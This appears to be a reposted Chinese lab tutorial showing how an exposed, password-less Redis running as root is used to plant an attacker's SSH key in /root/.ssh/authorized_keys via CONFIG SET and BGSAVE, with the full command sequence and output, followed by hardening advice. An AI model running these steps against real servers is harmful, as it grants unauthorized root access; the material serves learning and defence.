利用redis入侵Linux的案例 <--cookz


利用Redis遠程入侵Linux

前提條件:
1.redis以root用戶運行
2.redis允許遠程登陸
3.redis沒有設置密碼或者密碼簡單

入侵原理:
1.本質是利用了redis的熱更新配置,可以動態的設置數據持久化的路徑和持久化文件名稱
2.首先攻擊者可以遠程登陸redis,然后將攻擊者的ssh公鑰當作一個key存入redis里
3.利用動態修改配置,將持久化目錄保存成/root/.ssh
4.利用動態修改配置,將持久化文件名更改為authorized_keys
5.執行數據保存命令,這樣就會在生成/root/,ssh/authorized_keys文件
6.而這個文件里包含了攻擊者的密鑰,所以此時攻擊者可以免密登陸遠程的服務器了

實驗步驟:

1.生成密鑰

[root@db02 ~/.ssh]# ssh-keygen

2.將密鑰保存成文件

[root@db02 ~]# (echo -e "\n";cat /root/.ssh/id_rsa.pub ;echo -e "\n") > ssh_key
[root@db02 ~]# cat ssh_key

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH5vHJTq1UPP1YqzNUIfpXgWp5MV/hTzXStnT/JlusMG8/8DI2WYpbM20Pag5VlYKO8vA7Mn0ZbMmbpHUMOHLKmXK0y4k0bkYoSPTwbxP4a4paPLF50d+LRazqNq+P2RTnn7P9pG0kdSmpwDgcD32JjMJ7zxLFVbtsuOPfUHpnkvoI8967JC9kw/FH4CifZ+yyAneMxyqFstfKRPqUK0lwA/D5UuD4B4gv4WO6hu1bctHtI8qbIfSmHCgBrCG4qW+Xw1OWDimCLUwKUFW99RfVhzfmm9pTes+2twuf7wFK06LZVzcmfaXt43SFNLcVMMTn4RX0tzZyqVGYFtn94sOn root@db02

3.將密鑰寫入redis

[root@db02 ~]# cat ssh_key |redis-cli -h 10.0.0.51 -x set ssh_key
OK

4.登陸redis動態修改配置並保存

[root@db02 ~]# redis-cli -h 10.0.0.51
10.0.0.51:6379> CONFIG set dir /root/.ssh
OK
10.0.0.51:6379> CONFIG set dbfilename authorized_keys
OK
10.0.0.51:6379> BGSAVE
Background saving started

5.被攻擊的機器查看是否生成文件

[root@db01 ~]# cat .ssh/authorized_keys

6.入侵者查看是否可以登陸

[root@db02 ~]# ssh 10.0.0.51
Last login: Wed Jun 24 23:00:14 2020 from 10.0.0.52
[root@db01 ~]#

此時可以發現,已經可以免密登陸了。

7.如何防范

1.以普通用戶啟動redis,這樣就沒有辦法在/root/目錄下創建數據
2.設置復雜的密碼
3.不要監聽所有端口,只監聽內網地址
4.禁用動態修改配置的命令和危險命令
5.做好監控和數據備份

工作上大家可以檢查下自己的redis是否沒有做好防護


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM